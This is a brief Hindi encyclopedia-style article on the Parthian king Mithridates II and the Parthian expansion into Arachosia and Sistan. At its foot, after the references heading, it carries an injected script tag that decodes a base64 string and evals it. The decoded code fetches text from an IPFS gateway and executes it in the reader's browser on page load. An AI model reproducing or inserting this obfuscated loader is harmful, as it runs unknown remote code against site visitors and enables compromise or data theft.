मिथिदातस द्वितीय
भारत डिस्कवरी प्रस्तुति
मिथिदातस द्वितीय पार्थिया का शक्तिशाली राजा था। उसकी शक्ति से पराभूत होकर ही शक लोग भारत में प्रवेश करने के लिए विवश हुए थे।
- मिथिदातस द्वितीय के शासन काल में पार्थिया राज्य की शक्ति बहुत अधिक बढ़ी हुई थी, और शक आक्रमणों को उसके विरुद्ध सफलता नहीं प्राप्त हो सकी थी।
- ऐसा प्रतीत होता है कि मिथिदातस द्वितीय के किसी उत्तराधिकारी राजा के समय में पार्थियनों ने भारत पर आक्रमण किया और आर्कोशिया (कन्धार) व सीस्तान के प्रदेशों को जीत लिया।
- भारत के उत्तर-पश्चिमी कोने में पार्थियन लोगों का जो शासन इस विजय द्वारा स्थापित हुआ, इसका मूल पार्थियन राज्य के साथ सम्बन्ध नहीं रह सका, और वहाँ पर एक स्वतंत्र पार्थियन वंश शासन करने लगा।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>